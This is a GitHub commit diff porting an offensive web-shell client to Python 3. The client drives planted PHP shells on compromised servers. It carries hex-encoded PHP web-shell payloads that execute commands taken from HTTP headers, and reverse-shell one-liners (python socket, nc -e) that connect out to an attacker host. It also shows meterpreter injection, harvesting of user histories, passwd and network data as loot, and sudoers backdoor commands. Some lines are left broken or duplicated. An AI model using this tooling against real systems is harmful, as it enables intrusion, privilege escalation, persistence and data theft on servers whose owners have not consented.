Ported to python3

It runs, but some further testing in different environments is needed
This commit is contained in:
z0noxz
2017-04-19 19:13:31 +02:00
committed by GitHub
parent 8f5f35ed35
commit 00f8bc37bf

View File

@@ -1,14 +1,37 @@
#!/usr/bin/env python #!/usr/bin/env python3
import os, sys, getopt, urllib, urllib2, re, socket, threading, time, binascii, hashlib, math, random, string, json, base64, zlib, textwrap, readline, signal, platform, dateutil import os
import sys
import getopt
import urllib
import urllib.request
import re
import socket
import threading
import time
import binascii
import hashlib
import math
import random
import string
import json
import base64
import zlib
import textwrap
import readline
import signal
import platform
import dateutil
import fcntl
import errno
### TODO :: Add proxy support ### TODO :: Add proxy support
__author__ = "z0noxz" __author__ = "z0noxz"
_gs = { _gs = {
"_stager" : "cmd", "_stager" : "cmd",
"_var_exec" : "SMPLSHLL_EXEC", "_var_exec" : "SMPLSHLLEXEC",
"_var_eval" : "SMPLSHLL_EVAL", "_var_eval" : "SMPLSHLLEVAL",
"_var_sudo" : "SMPLSHLL_SUDO", "_var_sudo" : "SMPLSHLLSUDO",
"_var_sudo_prompt" : "HTTP_SMPLSHLL_SUDO_PROMPT", "_var_sudo_prompt" : "SMPLSHLLSUDOPROMPT",
"dir_loot" : ".ssc/{0}/.loot/{1}/", "dir_loot" : ".ssc/{0}/.loot/{1}/",
"_is_sudo" : False, "_is_sudo" : False,
@@ -24,9 +47,9 @@ _gs = {
"working_directory" : "", "working_directory" : "",
"reverse_shells": [ "reverse_shells": [
"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{0}\",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{0}\",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'",
"nc -e /bin/sh {0} {1}", "nc -e /bin/bash {0} {1}",
"/bin/nc.traditional -e /bin/sh {0} {1}", "/bin/nc.traditional -e /bin/bash {0} {1}",
], ],
"payloads": { "payloads": {
@@ -35,8 +58,8 @@ _gs = {
"payload" : "3c3f7068702069662028697373657428245f4745545b22636d64225d2929207b206563686f207368656c6c5f6578656328245f4745545b22636d64225d293b206469653b207d203f3e" "payload" : "3c3f7068702069662028697373657428245f4745545b22636d64225d2929207b206563686f207368656c6c5f6578656328245f4745545b22636d64225d293b206469653b207d203f3e"
}, },
"smplshll": { "smplshll": {
"path" : "", "path" : "",
"payload" : "66756e6374696f6e205f637279707428246b65792c2024737472696e672c2024616374696f6e203d2022656e637279707422290d0a7b0d0a0924726573203d2022223b0d0a090d0a096966202824616374696f6e20213d3d2022656e637279707422290d0a097b0d0a090924737472696e67203d206261736536345f6465636f64652824737472696e67293b0d0a097d0d0a090d0a09666f7220282469203d20303b202469203c207374726c656e2824737472696e67293b2024692b2b290d0a097b0d0a09092463203d206f7264287375627374722824737472696e672c20246929293b0d0a09090d0a09096966202824616374696f6e203d3d2022656e637279707422290d0a09097b0d0a0909092463202b3d206f72642873756273747228246b65792c2028282469202b2031292025207374726c656e28246b6579292929293b0d0a09090924726573202e3d2063687228246320262030784646293b0d0a09097d0d0a0909656c73650d0a09097b0d0a0909092463202d3d206f72642873756273747228246b65792c2028282469202b2031292025207374726c656e28246b6579292929293b0d0a09090924726573202e3d20636872286162732824632920262030784646293b0d0a09097d0d0a097d0d0a090d0a096966202824616374696f6e203d3d2022656e637279707422290d0a097b0d0a090924726573203d206261736536345f656e636f64652824726573293b0d0a097d0d0a090d0a0972657475726e20247265733b0d0a7d0d0a0d0a66756e6374696f6e2063616c6c6261636b2824627566666572290d0a7b0d0a0972657475726e20285f637279707428225f5f494e505f5053575f5f222c20246275666665722c2022656e63727970742229293b0d0a7d0d0a0d0a6f625f7374617274282263616c6c6261636b22293b0d0a0d0a69662028697373657428245f5345525645525b22485454505f534d504c53484c4c5f4556414c225d29290d0a7b0d0a096576616c285f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f534d504c53484c4c5f4556414c225d2c20225f5f494e505f5053575f5f2229293b0d0a096469653b0d0a7d0d0a0d0a69662028697373657428245f5345525645525b22485454505f534d504c53484c4c5f45584543225d29290d0a7b0d0a096563686f207368656c6c5f65786563285f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f534d504c53484c4c5f45584543225d2c20225f5f494e505f5053575f5f2229293b0d0a096469653b0d0a7d0d0a0d0a69662028697373657428245f5345525645525b22485454505f534d504c53484c4c5f5355444f225d29290d0a7b0d0a09247069203d20617272617928293b0d0a09247072203d2070726f635f6f70656e285f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f534d504c53484c4c5f5355444f225d2c20225f5f494e505f5053575f5f22292c206172726179286172726179282270697065222c20227222292c206172726179282270697065222c2022772229292c20247069293b0d0a090d0a0969662028697373657428245f5345525645525b22485454505f534d504c53484c4c5f5355444f5f50524f4d5054225d29290d0a097b0d0a0909667772697465282470697065735b305d2c205f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f534d504c53484c4c5f5355444f5f50524f4d5054225d2c20225f5f494e505f5053575f5f2229293b0d0a097d0d0a090d0a0966636c6f7365282470695b305d293b0d0a097072696e745f722873747265616d5f6765745f636f6e74656e7473282470695b315d29293b0d0a0970726f635f636c6f736528247072293b0d0a096469653b0d0a7d0d0a0d0a6f625f656e645f666c75736828293b" "payload" : "66756e6374696f6e205f637279707428246b65792c2024737472696e672c2024616374696f6e203d2022656e637279707422290a7b0a0924726573203d2022223b0a090a096966202824616374696f6e20213d3d2022656e637279707422290a097b0a090924737472696e67203d206261736536345f6465636f64652824737472696e67293b0a097d0a090a09666f7220282469203d20303b202469203c207374726c656e2824737472696e67293b2024692b2b290a097b0a09092463203d206f7264287375627374722824737472696e672c20246929293b0a09090a09096966202824616374696f6e203d3d2022656e637279707422290a09097b0a0909092463202b3d206f72642873756273747228246b65792c2028282469202b2031292025207374726c656e28246b6579292929293b0a09090924726573202e3d2063687228246320262030784646293b0a09097d0a0909656c73650a09097b0a0909092463202d3d206f72642873756273747228246b65792c2028282469202b2031292025207374726c656e28246b6579292929293b0a09090924726573202e3d20636872286162732824632920262030784646293b0a09097d0a097d0a090a096966202824616374696f6e203d3d2022656e637279707422290a097b0a090924726573203d206261736536345f656e636f64652824726573293b0a097d0a090a0972657475726e20247265733b0a7d0a0a66756e6374696f6e2063616c6c6261636b2824627566666572290a7b0a0972657475726e20285f637279707428225f5f494e505f5053575f5f222c20246275666665722c2022656e63727970742229293b0a7d0a0a6f625f7374617274282263616c6c6261636b22293b0a0a69662028697373657428245f5345525645525b22485454505f5f5f494e505f5641525f4556414c5f5f225d29290a7b0a096576616c285f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f5f5f494e505f5641525f4556414c5f5f225d2c20225f5f494e505f5053575f5f2229293b0a096469653b0a7d0a0a69662028697373657428245f5345525645525b22485454505f5f5f494e505f5641525f455845435f5f225d29290a7b0a096563686f207368656c6c5f65786563285f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f5f5f494e505f5641525f455845435f5f225d2c20225f5f494e505f5053575f5f2229293b0a096469653b0a7d0a0a69662028697373657428245f5345525645525b22485454505f5f5f494e505f5641525f5355444f5f5f225d29290a7b0a09247069203d20617272617928293b0a09247072203d2070726f635f6f70656e285f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f5f5f494e505f5641525f5355444f5f5f225d2c20225f5f494e505f5053575f5f22292c206172726179286172726179282270697065222c20227222292c206172726179282270697065222c2022772229292c20247069293b0a090a0969662028697373657428245f5345525645525b22485454505f5f5f494e505f5641525f5355444f5f50524f4d50545f5f225d29290a097b0a0909667772697465282470697065735b305d2c205f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f5f5f494e505f5641525f5355444f5f50524f4d50545f5f225d2c20225f5f494e505f5053575f5f2229293b0a097d0a090a0966636c6f7365282470695b305d293b0a097072696e745f722873747265616d5f6765745f636f6e74656e7473282470695b315d29293b0a0970726f635f636c6f736528247072293b0a096469653b0a7d0a0a6f625f656e645f666c75736828293b"
} }
}, },
@@ -58,7 +81,7 @@ help_notes = """
--url Shell interface URL without paramters (e.g. "http://www.site.com/simple-shell.php") --url Shell interface URL without paramters (e.g. "http://www.site.com/simple-shell.php")
--post Declare POST data (eg. "{'submit':'','ip':_INJECT_}") --post Declare POST data (eg. "{'submit':'','ip':_INJECT_}")
--get Declare GET data (eg. "?ip=_INJECT_") --get Declare GET data (eg. "{'ip':_INJECT_}")
--cookies Declare COOKIE data (eg. "PHPSESSID=deadbeefdeadbeefdeadbeefdeadbeef") --cookies Declare COOKIE data (eg. "PHPSESSID=deadbeefdeadbeefdeadbeefdeadbeef")
Shell commands: Shell commands:
@@ -86,6 +109,9 @@ class Print(object):
print(" " + text) print(" " + text)
return len(text) return len(text)
@staticmethod
def debug(text = ""): return Print.text("debug :: " + text)
@staticmethod @staticmethod
def info(text = "", continuous = False): return Print.text("\033[94m[i]\033[0m " + text, continuous) def info(text = "", continuous = False): return Print.text("\033[94m[i]\033[0m " + text, continuous)
@@ -104,7 +130,7 @@ class Print(object):
@staticmethod @staticmethod
def confirm(text = ""): def confirm(text = ""):
Print.text("\033[38;5;133m[?] " + text + " (Y/n): \033[0m", True) Print.text("\033[38;5;133m[?] " + text + " (Y/n): \033[0m", True)
return not (raw_input()).lower() in ["n", "no"] return not (input().strip()).lower() in ["n", "no"]
@staticmethod @staticmethod
@@ -127,22 +153,22 @@ class Print(object):
hr_width = (sum(max_headers) + ((len(max_headers) - 1) * 2)) hr_width = (sum(max_headers) + ((len(max_headers) - 1) * 2))
if caption <> "": if caption != "":
Print.text(caption.center(hr_width)) Print.text(caption.center(hr_width))
Print.text("=" * hr_width) Print.text("=" * hr_width)
if description <> "": if description != "":
Print.text(textwrap.fill(description, width = hr_width, initial_indent = "", subsequent_indent = " ")) Print.text(textwrap.fill(description, width = hr_width, initial_indent = "", subsequent_indent = " "))
Print.text() Print.text()
if "".join(headers) <> "": if "".join(headers) != "":
Print.text(" ".join(headers[i] + (" " * (max_headers[i] - len(headers[i]))) for i in range(0, len(headers)))) Print.text(" ".join(headers[i] + (" " * (max_headers[i] - len(headers[i]))) for i in range(0, len(headers))))
Print.text(" ".join(("-" * (max_headers[i])) for i in range(0, len(headers)))) Print.text(" ".join(("-" * (max_headers[i])) for i in range(0, len(headers))))
for row in rows: for row in rows:
Print.text(" ".join(str(row[i]) + (" " * (max_headers[i] - len(str(row[i])))) for i in range(0, len(headers)))) Print.text(" ".join(str(row[i]) + (" " * (max_headers[i] - len(str(row[i])))) for i in range(0, len(headers))))
if "list" in row.keys() and row["list"] <> None: if "list" in row.keys() and row["list"] != None:
index = row["list"]["index"] index = row["list"]["index"]
array = row["list"]["array"] array = row["list"]["array"]
@@ -160,15 +186,23 @@ class Utility(object):
@staticmethod @staticmethod
def crypt(key, data, encrypt = True): def crypt(key, data, encrypt = True):
result = "" result = bytearray()
for i, c in enumerate(data if encrypt else base64.b64decode(data)): for i, c in enumerate(data if encrypt else base64.b64decode(data)):
if encrypt: if encrypt:
result += chr(ord(c) + ord(key[((i + 1) % len(key)):][:1]) & 0xff) result.append(int(ord(c) + ord(key[((i + 1) % len(key)):][:1]) & 0xff))
else: else:
result += chr(abs(ord(c) - ord(key[((i + 1) % len(key)):][:1])) & 0xff) result.append(int(abs(c - ord(key[((i + 1) % len(key)):][:1])) & 0xff))
return base64.b64encode(result) if encrypt else result return base64.b64encode(result).decode("utf-8") if encrypt else "".join(chr(c) for c in result)
@staticmethod
def hexToStr(h):
return bytes.fromhex(h).decode("utf-8")
@staticmethod
def strToHex(s):
return binascii.hexlify(s.encode("utf-8")).decode("utf-8")
@staticmethod @staticmethod
def ip4_addresses(): def ip4_addresses():
@@ -178,7 +212,7 @@ class Utility(object):
def loot_name(sufix, sub_dir = ""): def loot_name(sufix, sub_dir = ""):
_dir = _gs["dir_loot"] _dir = _gs["dir_loot"]
if sub_dir <> "": _dir += sub_dir if sub_dir != "": _dir += sub_dir
if not os.path.exists(_dir): os.makedirs(_dir) if not os.path.exists(_dir): os.makedirs(_dir)
return _dir + time.strftime("%Y%m%d%H%M%S") + "_" + sufix return _dir + time.strftime("%Y%m%d%H%M%S") + "_" + sufix
@@ -223,7 +257,7 @@ class Utility(object):
def get_os(interactor = None): def get_os(interactor = None):
_system = platform.system() # Gets local platform _system = platform.system() # Gets local platform
if interactor <> None: if interactor != None:
if interactor("uname -s").strip().lower() in ["sunos", "aix", "linux"]: _system = "linux" if interactor("uname -s").strip().lower() in ["sunos", "aix", "linux"]: _system = "linux"
elif "windows" in interactor("ver").strip().lower(): _system = "windows" elif "windows" in interactor("ver").strip().lower(): _system = "windows"
else: _system = "undefined" else: _system = "undefined"
@@ -235,19 +269,19 @@ class PHPInteractor(object):
@staticmethod @staticmethod
def send(url, headers, timeout): def send(url, headers, timeout):
request = urllib2.Request(url) request = urllib.request.Request(url)
data = "" data = ""
# Add password key # Add password key
request.add_header(_gs["smplshll_main_password_var"], _gs["smplshll_main_password"]) request.add_header(_gs["smplshll_main_password_var"], _gs["smplshll_main_password"])
for header in headers.keys(): for header in headers.keys():
request.add_header(header, Utility.crypt(_gs["smplshll_input_password"], headers[header])) request.add_header(header, Utility.crypt(_gs["smplshll_input_password"], headers[header]))
if timeout > 0: if timeout > 0:
data = urllib2.urlopen(request, timeout = timeout).read() data = urllib.request.urlopen(request, timeout = timeout).read()
else: else:
data = urllib2.urlopen(request).read() data = urllib.request.urlopen(request).read()
return Utility.crypt(_gs["smplshll_input_password"], data, False) if _gs["smplshll_response_encryption"] else data return Utility.crypt(_gs["smplshll_input_password"], data, False) if _gs["smplshll_response_encryption"] else data
@@ -284,7 +318,7 @@ class MandoCommand(object):
def mc_sudo(match): def mc_sudo(match):
if _gs["_is_sudo"]: if _gs["_is_sudo"]:
result = PHPInteractor.sudo_command("sudo " + match.group(1)) result = PHPInteractor.sudo_command("sudo " + match.group(1))
if result.strip() <> "": if result.strip() != "":
for x in result.strip().split("\n"): Print.text(x) for x in result.strip().split("\n"): Print.text(x)
else: else:
Print.info("No output") Print.info("No output")
@@ -300,7 +334,7 @@ class MandoCommand(object):
@staticmethod @staticmethod
def mc_interact(match): def mc_interact(match):
session = SessionManager.select(int(match.group(1))) session = SessionManager.select(int(match.group(1)))
if session <> None: session.interact() if session != None: session.interact()
@staticmethod @staticmethod
def mc_meterpreter(match): def mc_meterpreter(match):
@@ -320,10 +354,10 @@ class MandoCommand(object):
MandoCommand.mc_meterpreter_state = -1 MandoCommand.mc_meterpreter_state = -1
Print.info("Injecting meterpreter payload through PHP evaluation") Print.info("Injecting meterpreter payload through PHP evaluation")
threading.Thread(target = injector, args = (payload.decode("hex"), )).start() threading.Thread(target = injector, args = (Utility.hexToStr(payload), )).start()
while True: while True:
if MandoCommand.mc_meterpreter_state <> 0: if MandoCommand.mc_meterpreter_state != 0:
Print.success("Meterpreter injection succeeded") if MandoCommand.mc_meterpreter_state == 1 else Print.error("Meterpreter injection failed") Print.success("Meterpreter injection succeeded") if MandoCommand.mc_meterpreter_state == 1 else Print.error("Meterpreter injection failed")
break break
@@ -335,7 +369,7 @@ class MandoCommand(object):
user = Utility.self_or_sudo("/usr/bin/whoami").strip() user = Utility.self_or_sudo("/usr/bin/whoami").strip()
Print.info("Executing as '" + user + "'") Print.info("Executing as '" + user + "'")
if user <> "root": Print.warning("For best effect, this should be executed as root") if user != "root": Print.warning("For best effect, this should be executed as root")
Print.text() Print.text()
users = Utility.self_or_sudo("/bin/cat /etc/passwd | cut -d : -f 1").strip().split("\n") users = Utility.self_or_sudo("/bin/cat /etc/passwd | cut -d : -f 1").strip().split("\n")
@@ -344,7 +378,7 @@ class MandoCommand(object):
counter = 0 counter = 0
Print.status("Retrieving history for " + str(len(users)) + " users") Print.status("Retrieving history for " + str(len(users)) + " users")
print "" print("")
for user in users: for user in users:
counter += 1 counter += 1
@@ -365,7 +399,7 @@ class MandoCommand(object):
history = Utility.self_or_sudo("cat " + application_file).strip() history = Utility.self_or_sudo("cat " + application_file).strip()
Utility.save_loot(user + ".applicaiton_history." + application_file, history, "user_history/") Utility.save_loot(user + ".applicaiton_history." + application_file, history, "user_history/")
if counter < len(users): if counter < len(users):
print "" print("")
@staticmethod @staticmethod
def mc_gather_system_info(match): def mc_gather_system_info(match):
@@ -374,7 +408,7 @@ class MandoCommand(object):
user = Utility.self_or_sudo("/usr/bin/whoami").strip() user = Utility.self_or_sudo("/usr/bin/whoami").strip()
Print.info("Executing as '" + user + "'") Print.info("Executing as '" + user + "'")
if user <> "root": Print.warning("For best effect, this should be executed as root") if user != "root": Print.warning("For best effect, this should be executed as root")
Print.info("Identified the system to be '" + dist + "'") Print.info("Identified the system to be '" + dist + "'")
Print.text() Print.text()
@@ -436,7 +470,7 @@ class MandoCommand(object):
user = Utility.self_or_sudo("/usr/bin/whoami").strip() user = Utility.self_or_sudo("/usr/bin/whoami").strip()
Print.info("Executing as '" + user + "'") Print.info("Executing as '" + user + "'")
if user <> "root": Print.warning("For best effect, this should be executed as root") if user != "root": Print.warning("For best effect, this should be executed as root")
Print.text() Print.text()
configs = [ configs = [
@@ -524,12 +558,12 @@ class MandoCommand(object):
elif _gs["system"] == Utility.os.WINDOWS: elif _gs["system"] == Utility.os.WINDOWS:
wd = PHPInteractor.command("echo %cd%").strip() wd = PHPInteractor.command("echo %cd%").strip()
if match <> None: Print.text(wd) if match != None: Print.text(wd)
return wd return wd
@staticmethod @staticmethod
def mc_ls(match = None): def mc_ls(match = None):
from dateutil.parser import * #import dateutil.parser
dir = [] dir = []
Print.text() Print.text()
@@ -543,7 +577,7 @@ class MandoCommand(object):
dir.append({ dir.append({
0 : x[0], 0 : x[0],
1 : Utility.filesize(int(x[2] if x[2] <> "" else 0)).rjust(16), 1 : Utility.filesize(int(x[2] if x[2] != "" else 0)).rjust(16),
2 : "dir" if x[2] == "" else x[3][x[3].rfind(".") + 1:] if "." in x[3] else "n/a", 2 : "dir" if x[2] == "" else x[3][x[3].rfind(".") + 1:] if "." in x[3] else "n/a",
3 : "{0}-{1:02}-{2:02} {3:02}:{4:02}".format(dt.year, dt.month, dt.day, dt.hour, dt.minute), 3 : "{0}-{1:02}-{2:02} {3:02}:{4:02}".format(dt.year, dt.month, dt.day, dt.hour, dt.minute),
4 : x[3] 4 : x[3]
@@ -562,7 +596,7 @@ class MandoCommand(object):
Print.text("") Print.text("")
Print.info("Executing as '" + user + "'") Print.info("Executing as '" + user + "'")
if user <> "root": Print.warning("For best effect, this should be executed as root") if user != "root": Print.warning("For best effect, this should be executed as root")
Print.info("Enumerating and collecting network data...") Print.info("Enumerating and collecting network data...")
Print.text() Print.text()
@@ -598,7 +632,7 @@ class MandoCommand(object):
"arp" : [arp], "arp" : [arp],
}.iteritems(): }.iteritems():
result = "\n".join(action() if hasattr(action, "__call__") else Utility.self_or_sudo(action).strip() for action in actions) result = "\n".join(action() if hasattr(action, "__call__") else Utility.self_or_sudo(action).strip() for action in actions)
Utility.save_loot("network." + operation, result, "network_info/") if result <> "" else Print.error(operation + " returned empty") Utility.save_loot("network." + operation, result, "network_info/") if result != "" else Print.error(operation + " returned empty")
Print.text("") Print.text("")
@@ -612,7 +646,7 @@ class MandoCommand(object):
print(" This program simply uploads a file to the target server") print(" This program simply uploads a file to the target server")
print("") print("")
lpath = raw_input(" Local path: ") lpath = input(" Local path: ")
file_name = lpath[lpath.rfind("/") + 1:] file_name = lpath[lpath.rfind("/") + 1:]
sys.stdout.write("\n Initializing..................................................") sys.stdout.write("\n Initializing..................................................")
@@ -642,10 +676,10 @@ class MandoCommand(object):
local_hash_md5.update(chunk) local_hash_md5.update(chunk)
if chunk: if chunk:
chunk = binascii.hexlify(chunk) chunk = binascii.hexlify(chunk).decode("utf-8")
chunk = "\\x" + "\\x".join([chunk[i:i + 2] for i in range(0, len(chunk), 2)]) chunk = "0x" + "0x".join([chunk[i:i + 2] for i in range(0, len(chunk), 2)])
PHPInteractor.command("cd " + _gs["working_directory"] + " && echo -n -e '" + chunk + "' >> " + file_name) PHPInteractor.command("cd " + _gs["working_directory"] + " && echo '" + chunk + "' >> " + file_name)
if ((counter / (chunk_count / progress_width)) > step): if ((counter / (chunk_count / progress_width)) > step):
sys.stdout.write(".") sys.stdout.write(".")
@@ -654,21 +688,35 @@ class MandoCommand(object):
counter += 1 counter += 1
else: else:
break break
# Remove line breaks, and last byte (0a: line break)
PHPInteractor.command("cd " + _gs["working_directory"] + " && sed -i -- ':a;N;$!ba;s/\\n//g' " + file_name + " && truncate -s-1 " + file_name)
sys.stdout.write("\b" * (step - 1)) sys.stdout.write("\b" * (step - 1))
sys.stdout.flush() sys.stdout.flush()
sys.stdout.write(("." * (progress_width - 3))) sys.stdout.write(("." * (progress_width - 3)))
print("[\033[92mOK\033[0m]")
sys.stdout.write(" finalizing....................................................")
sys.stdout.flush()
# Replace each hex representative
for i in range(256):
PHPInteractor.command("cd " + _gs["working_directory"] + "&& sed -i -- 's/0x" + str("%0.2x" % i) + r"/\x" + str("%0.2x" % i) + "/g' " + file_name)
print("[\033[92mOK\033[0m]") print("[\033[92mOK\033[0m]")
sys.stdout.write(" Analysing file integrity......................................") sys.stdout.write(" Analysing file integrity......................................")
sys.stdout.flush() sys.stdout.flush()
print("[\033[92mOK\033[0m]" if (str(PHPInteractor.command("cd " + _gs["working_directory"] + " && md5sum " + file_name + " | awk '{ print $1 }'")).strip() == str(local_hash_md5.hexdigest()).strip()) else ".[\033[91mX\033[0m]") print("[\033[92mOK\033[0m]" if (str(PHPInteractor.command("cd " + _gs["working_directory"] + " && md5sum " + file_name + " | awk '{ print $1 }'")).strip() == str(local_hash_md5.hexdigest()).strip()) else ".[\033[91mX\033[0m]")
except: except:
import traceback
print(traceback.format_exc())
print("\n \033[91mError: cannot open '" + file_name + "'\033[0m") print("\n \033[91mError: cannot open '" + file_name + "'\033[0m")
@staticmethod @staticmethod
def mc_php_variables(match): def mc_php_variables(match):
PHPInteractor.eval("print_r(get_defined_vars());") print(PHPInteractor.eval("print_r(get_defined_vars());"))
@staticmethod @staticmethod
def mc_php_eval(match): def mc_php_eval(match):
@@ -680,13 +728,13 @@ class MandoCommand(object):
print(" This program evaluats PHP code") print(" This program evaluats PHP code")
print("") print("")
PHPInteractor.eval(raw_input(" PHP Code: ")) print(" ------------------------------------------------------------------\n " + PHPInteractor.eval(input(" PHP Code: ")))
@staticmethod @staticmethod
def mc_file_download(match, path = None): def mc_file_download(match, path = None):
global _gs global _gs
rpath = (path if path <> None else match.group(1)) rpath = (path if path != None else match.group(1))
file_name = Utility.loot_name(rpath[rpath.rfind("/") + 1:]) file_name = Utility.loot_name(rpath[rpath.rfind("/") + 1:])
try: try:
@@ -735,7 +783,7 @@ class MandoCommand(object):
local_hash_md5.update(_file.read()) local_hash_md5.update(_file.read())
print("[\033[92mOK\033[0m]" if (str(PHPInteractor.command("cd " + _gs["working_directory"] + " && md5sum " + rpath + " | awk '{ print $1 }'")).strip() == str(local_hash_md5.hexdigest()).strip()) else ".[\033[91mX\033[0m]") print("[\033[92mOK\033[0m]" if (str(PHPInteractor.command("cd " + _gs["working_directory"] + " && md5sum " + rpath + " | awk '{ print $1 }'")).strip() == str(local_hash_md5.hexdigest()).strip()) else ".[\033[91mX\033[0m]")
print " Loot saved at: \033[92m" + file_name + "\033[0m" print(" Loot saved at: \033[92m" + file_name + "\033[0m")
else: else:
Print.error("Cannot access the file") Print.error("Cannot access the file")
except: except:
@@ -885,6 +933,11 @@ class MandoCommand(object):
# attack/su_crack [using PHPInteractor.sudo_command_prompt("su -c whoami USERNAME", "PASSWORD", False)] # attack/su_crack [using PHPInteractor.sudo_command_prompt("su -c whoami USERNAME", "PASSWORD", False)]
# attack/www_to_root [tries different attacks to 'automatically' elevate www-data to root or/sudo] # attack/www_to_root [tries different attacks to 'automatically' elevate www-data to root or/sudo]
# attack/su_crack [using PHPInteractor.sudo_command_prompt("su -c whoami USERNAME", "PASSWORD", False)]
# attack/www_to_root [tries different attacks to 'automatically' elevate www-data to root or/sudo]
# : https://blog.sucuri.net/2013/07/from-a-site-compromise-to-full-root-access-bad-server-management-part-iii.html
"gather/network_info": { "gather/network_info": {
"description" : "Gathers network information", "description" : "Gathers network information",
"validation" : "gather\/network_info", "validation" : "gather\/network_info",
@@ -951,14 +1004,14 @@ class MandoCommand(object):
command_name = x.split(" ")[0] command_name = x.split(" ")[0]
function = MandoCommand.get(command_name) if command_name in MandoCommand.commands() else None function = MandoCommand.get(command_name) if command_name in MandoCommand.commands() else None
if function <> None: if function != None:
if hasattr(function["run"], "__call__") and re.compile(function["validation"]).match(x): if hasattr(function["run"], "__call__") and re.compile(function["validation"]).match(x):
function["run"](re.compile(function["validation"]).match(x)) function["run"](re.compile(function["validation"]).match(x))
else: else:
Print.text() Print.text()
match = re.compile(function["validation"]).match(x) match = re.compile(function["validation"]).match(x)
if match and match.group(1) <> None and match.group(1).strip() in MandoCommand.commands(): if match and match.group(1) != None and match.group(1).strip() in MandoCommand.commands():
for x in MandoCommand.get(match.group(1).strip())["help"].split("\n"): Print.text(x) for x in MandoCommand.get(match.group(1).strip())["help"].split("\n"): Print.text(x)
else: else:
Print.table( Print.table(
@@ -1013,7 +1066,7 @@ class SessionManager(object):
def select(id = None): def select(id = None):
SessionManager.init() SessionManager.init()
if id <> None and id in _gs["_sessions"].keys(): if id != None and id in _gs["_sessions"].keys():
return _gs["_sessions"][id]["record"] return _gs["_sessions"][id]["record"]
else: else:
Print.table( Print.table(
@@ -1045,11 +1098,30 @@ class Shell(object):
def send(self, input = None): def send(self, input = None):
if self.connection <> None: if self.connection != None:
if input <> None: if input != None:
self.connection.send(input + "\r") counter = 0
time.sleep(0.5) fcntl.fcntl(self.connection, fcntl.F_SETFL, os.O_NONBLOCK)
result = self.connection.recv(16834).split("\n") self.connection.send((input + "\r").encode("utf-8"))
#time.sleep(0.5)
while True:
try:
result = self.connection.recv(16834).decode("utf-8").split("\n")
except socket.error as e:
err = e.args[0]
if err == errno.EAGAIN or err == errno.EWOULDBLOCK:
if counter == 10:
Print.error("No response, aborting")
return ""
time.sleep(0.2)
counter += 1
continue
else:
print(e)
sys.exit(1)
else:
break
return "\n".join(result[1:-1]).strip() return "\n".join(result[1:-1]).strip()
else: else:
@@ -1095,7 +1167,7 @@ class Shell(object):
time.sleep(1) time.sleep(1)
for payload in _gs["reverse_shells"]: for payload in _gs["reverse_shells"]:
pid = PHPInteractor.command(payload.format(lhost, lport) + " & echo $!").strip() pid = PHPInteractor.command(payload.format(lhost, lport) + " & echo $!").strip()
if PHPInteractor.command("ps --pid " + pid + " -o comm=") <> "": if PHPInteractor.command("ps --pid " + pid + " -o comm=") != "":
shell.pids.append(int(pid)) shell.pids.append(int(pid))
break break
@@ -1122,6 +1194,7 @@ class Shell(object):
Print.success("Successfully spawned tty" Print.success("Successfully spawned tty"
return True return True
''' '''
## Try to spawn tty ## Try to spawn tty
self.send(spawner) self.send(spawner)
@@ -1166,7 +1239,7 @@ class Shell(object):
for payload in _gs["reverse_shells"]: for payload in _gs["reverse_shells"]:
pid = self.send(payload.format(local_options["LHOST"], local_options["LPORT"]) + " & echo $!").strip() pid = self.send(payload.format(local_options["LHOST"], local_options["LPORT"]) + " & echo $!").strip()
if self.send("ps --pid " + pid + " -o comm=").split("\n")[0].strip() <> "": if self.send("ps --pid " + pid + " -o comm=").split("\n")[0].strip() != "":
Print.success("Successfully spawned reverse shell") Print.success("Successfully spawned reverse shell")
return return
Print.error("Failed to spawn reverse shell") Print.error("Failed to spawn reverse shell")
@@ -1189,7 +1262,7 @@ class Shell(object):
pid = self.send(payload + " & echo $!") pid = self.send(payload + " & echo $!")
pid = int(str(pid.split("\n")[1]).strip()) + 1 pid = int(str(pid.split("\n")[1]).strip()) + 1
if self.send("ps --pid " + str(pid) + " -o comm=").split("\n")[0].strip() <> "": if self.send("ps --pid " + str(pid) + " -o comm=").split("\n")[0].strip() != "":
Print.success("Successfully spawned meterpreter shell") Print.success("Successfully spawned meterpreter shell")
else: else:
Print.error("Failed to spawn meterpreter shell") Print.error("Failed to spawn meterpreter shell")
@@ -1297,7 +1370,7 @@ class Shell(object):
if self.send("grep -c '^" + local_options["USERNAME"] + ":' /etc/passwd").strip() == "1": if self.send("grep -c '^" + local_options["USERNAME"] + ":' /etc/passwd").strip() == "1":
Print.status("Trying add " + local_options["USERNAME"] + " to sudo") Print.status("Trying add " + local_options["USERNAME"] + " to sudo")
sudo = (True if self.send("whoami") <> "root" else False) sudo = (True if self.send("whoami") != "root" else False)
self.send(("sudo " if sudo else "") + "adduser " + local_options["USERNAME"] + " sudo") self.send(("sudo " if sudo else "") + "adduser " + local_options["USERNAME"] + " sudo")
self.send(("sudo " if sudo else "") + "echo '" + local_options["USERNAME"] + " ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers") self.send(("sudo " if sudo else "") + "echo '" + local_options["USERNAME"] + " ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers")
@@ -1350,7 +1423,7 @@ class Shell(object):
tmp = "/tmp/" + "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8)) tmp = "/tmp/" + "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8))
